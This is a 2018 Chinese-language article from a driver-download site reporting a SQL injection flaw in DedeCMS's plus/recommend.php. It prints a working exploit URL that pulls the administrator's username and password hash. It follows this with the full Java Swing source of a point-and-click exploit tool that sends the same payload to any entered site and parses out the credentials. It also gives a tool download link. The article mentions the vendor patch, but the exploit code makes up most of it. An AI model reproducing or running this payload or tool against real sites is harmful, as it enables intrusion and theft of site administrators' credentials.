驱动管家:安全、高效、精准的专业驱动下载站!

php开源网站内容管理系统:dedecms存在sql注入漏洞

2018-02-28 17:34:59责编:llp   来源:驱动管家     人气:

dedecms即织梦(PHP开源网站内容管理系统)。织梦内容管理系统(DedeCms) 以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统。

php开源网站内容管理系统:dedecms存在sql注入漏洞

近日,网友在dedecms中发现了全版本通杀的SQL注入漏洞,目前官方最新版已修复该漏洞,相关利用代码如下:

EXP:

复制代码

代码如下:

http://*.*.com/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` 1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=111

直接获取就可以得到管理员的用户名与加密后的密码,效果如下图所示

php开源网站内容管理系统:dedecms存在sql注入漏洞

利用工具源码(by 园长):

复制代码

代码如下:

package org.javaweb.dede.ui;

import java.awt.Toolkit;

import java.io.BufferedReader;

import java.io.InputStreamReader;

import java.net.URL;

import java.util.regex.Matcher;

import java.util.regex.Pattern;

/**

*

* @author yz

*/

public class MainFrame extends javax.swing.JFrame {

private static final long serialVersionUID = 1L;

/**

* Creates new form MainFrame

*/

public MainFrame() {

initComponents();

}

public String request(String url){

String str = "",tmp;

try {

BufferedReader br = new BufferedReader(new InputStreamReader(new URL(url).openStream()));

while((tmp=br.readLine())!=null){

str+=tmp+"\r\n";

}

} catch (Exception e) {

jTextArea1.setText(e.toString());

}

return str;

}

private void initComponents() {

jPanel1 = new javax.swing.JPanel();

jLabel1 = new javax.swing.JLabel();

jTextField1 = new javax.swing.JTextField();

jButton1 = new javax.swing.JButton();

jScrollPane1 = new javax.swing.JScrollPane();

jTextArea1 = new javax.swing.JTextArea();

setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);

jLabel1.setText("URL:");

jTextField1.setText("http://localhost");

this.setTitle("DedeCms recommend.php注入利用工具-p2j.cn");

int screenWidth = Toolkit.getDefaultToolkit().getScreenSize().width;

int screenHeight = Toolkit.getDefaultToolkit().getScreenSize().height;

this.setBounds(screenWidth / 2 - 229, screenHeight / 2 - 158, 458, 316);

jButton1.setText("获取");

jButton1.addActionListener(new java.awt.event.ActionListener() {

public void actionPerformed(java.awt.event.ActionEvent evt) {

jButton1ActionPerformed(evt);

}

});

jTextArea1.setColumns(20);

jTextArea1.setRows(5);

jScrollPane1.setViewportView(jTextArea1);

javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);

jPanel1.setLayout(jPanel1Layout);

jPanel1Layout.setHorizontalGroup(

jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)

.addGroup(jPanel1Layout.createSequentialGroup()

.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false)

.addComponent(jScrollPane1, javax.swing.GroupLayout.Alignment.LEADING)

.addGroup(javax.swing.GroupLayout.Alignment.LEADING, jPanel1Layout.createSequentialGroup()

.addContainerGap()

.addComponent(jLabel1)

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)

.addComponent(jTextField1, javax.swing.GroupLayout.PREFERRED_SIZE, 331, javax.swing.GroupLayout.PREFERRED_SIZE)

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)

.addComponent(jButton1, javax.swing.GroupLayout.PREFERRED_SIZE, 83, javax.swing.GroupLayout.PREFERRED_SIZE)))

.addGap(0, 0, Short.MAX_VALUE))

);

jPanel1Layout.setVerticalGroup(

jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)

.addGroup(jPanel1Layout.createSequentialGroup()

.addContainerGap()

.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)

.addComponent(jLabel1)

.addComponent(jTextField1,

javax.swing.GroupLayout.PREFERRED_SIZE,

javax.swing.GroupLayout.DEFAULT_SIZE,

javax.swing.GroupLayout.PREFERRED_SIZE)

.addComponent(jButton1))

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)

.addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 254, Short.MAX_VALUE))

);

javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());

getContentPane().setLayout(layout);

layout.setHorizontalGroup(

layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)

.addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)

);

layout.setVerticalGroup(

layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)

.addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)

);

pack();

}//

private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {

String url = jTextField1.getText();

if(null==url||"".equals(url)){

return ;

}

String result = request(url+"/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\\%27%20or%20mid=@`\\%27`%201,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294");

Matcher m = Pattern.compile("

(.*)

").matcher(result);

if(m.find()){

String[] s = m.group(1).split("\\|");

if(s.length>2){

jTextArea1.setText("UserName:"+s[1]+"\r\nMD5:"+s[2].substring(3,s[2].length()-1));

}

}

}

public static void main(String args[]) {

java.awt.EventQueue.invokeLater(new Runnable() {

public void run() {

new MainFrame().setVisible(true);

}

});

}

// Variables declaration - do not modify

private javax.swing.JButton jButton1;

private javax.swing.JLabel jLabel1;

private javax.swing.JPanel jPanel1;

private javax.swing.JScrollPane jScrollPane1;

private javax.swing.JTextArea jTextArea1;

private javax.swing.JTextField jTextField1;

// End of variables declaration

}

利用工具下载地址 http://pan.baidu.com/s/1i37LUnF (本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!)

php开源网站内容管理系统:dedecms存在sql注入漏洞

dedecms官方补丁地址: http://www.dedecms.com/pl/

  • mcafee企业版阻止入侵者创建删除用户和修改密码?

    mcafee企业版阻止入侵者创建删除用户和修改密码?

    利用McAfee策略让入侵者无法创建用户+无法删除用户+无法改密码的设置方法,强烈建议win2003使用mcafee杀毒软件,其它的都不如这个好。让入侵者无法创建用户+无法删除用户+无法改密码1、打开控制台-访问保护-用户

    详情2018-01-20 14:46:49责编:llp   来源:驱动管家     
  • 为你介绍防arp攻击的方法 防arp攻击图解

    为你介绍防arp攻击的方法 防arp攻击图解

    为了解决这一问题,请广大用户使用下列方法,避免再次受到攻击。具体方法如下:1. 打开电脑的启动项目录。具体操作是点击“开始”→“程序” →“启动”右键单击选择“打开所有用户”。如图:2.将出

    详情2018-01-23 20:19:55责编:llp   来源:驱动管家     
  • 六种入侵批处理程序代码 怎么自动挂马改主页?

    六种入侵批处理程序代码 怎么自动挂马改主页?

    DOS批处理就是,将一些之前预备好的需要多次统一运行的DOS命令写在一起,每次只要输入一次批处理就可以达到将其包含的所有DOS命令排头输入一遍的效果,这样就可以大大的节省时间提高效率。下面为大家介绍六种入侵

    详情2018-02-03 10:57:13责编:llp   来源:驱动管家     
  • html5安全策略的补充内容 html5安全策略的改进之处

    html5安全策略的补充内容 html5安全策略的改进之处

    HTML5对旧有的安全策略进行了非常多的补充。一、iframe沙箱HTML5为iframe元素增加了sandbox属性防止不信任的Web页面执行某些操作,例如访问父页面的DOM、执行脚本、访问本地存储或者本地数据库等等。但是这个安全

    详情2018-02-06 15:51:06责编:llp   来源:驱动管家     
  • 直接访问的功能和工作原理是什么?

    直接访问的功能和工作原理是什么?

    Direct Access讲远程访问带入了一个新的境界,它可以实现企业员工可以随时随时随地的进行远程接入,不在受传统的接入方式的限制,DirectAccess 服务器承担了网关的角色,连接内网和外网之间,甚至当DirectAcces

    详情2018-02-08 19:24:16责编:llp   来源:驱动管家     
  • 保证数据安全需要做哪些事?哪些文件需要加密?怎么加密?

    保证数据安全需要做哪些事?哪些文件需要加密?怎么加密?

    【编者按:生活中我们总会面对各种各样的数据,对于那些需要保密的数据我们会选择各类的加密方法。那么对于使用办公软件制作的文稿、表格、演示文稿和数据库我们如何加密呢?】在日常工作中,我们经常用一些办公

    详情2018-01-25 10:19:10责编:llp   来源:驱动管家     
  • 什么是正向连接木马?什么是反弹连接木马?

    什么是正向连接木马?什么是反弹连接木马?

    目前常见的木马有三种 正向连接木马 反弹连接木马 收信木马正向连接木马,所谓正向,就是在中马者在机器上开个端口,而我们去连接他的端口。而我们要知道他的IP,才能够连接他。123就是他机器上开的端口由于到

    详情2018-02-14 08:51:30责编:llp   来源:驱动管家     
  • 如何进入数据库抓包备份数据?入侵网站备份数据的方法

    如何进入数据库抓包备份数据?入侵网站备份数据的方法

    这是我之前在绿色兵团时写的一篇文章,是我自己原创的,思路借鉴了一篇t00ls里的,进行了改进。我在绿色兵团的账号名字也是leisureforest真实性毋庸置疑,希望给过。thanks地址(仅用于替代目标网站,非本站)又是

    详情2018-02-13 15:04:06责编:llp   来源:驱动管家     
  • 入侵linux系统网站的报告,教你如何入侵网站

    入侵linux系统网站的报告,教你如何入侵网站

    我发现了一个网站,于是常规入侵。很好,它的FINGER开着,于是我编了一个SHELL,aaa帐号试到zzz(by the way,这是我发现的一个网上规律,那就是帐号的长度与口令的强度成正比, 如果一个帐号只有两三位长,那

    详情2018-02-24 17:27:38责编:llp   来源:驱动管家     
  • 关闭135 445端口该怎么做?关闭135 445端口的步骤

    关闭135 445端口该怎么做?关闭135 445端口的步骤

    135端口主要用于使用RPC(RemoteProcedureCall,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务。端口说明:135端口主要用于使用RPC(RemoteProcedureCall,远程过程调用)协议并提供DCOM(分布式组件

    详情2018-01-14 14:03:30责编:llp   来源:驱动管家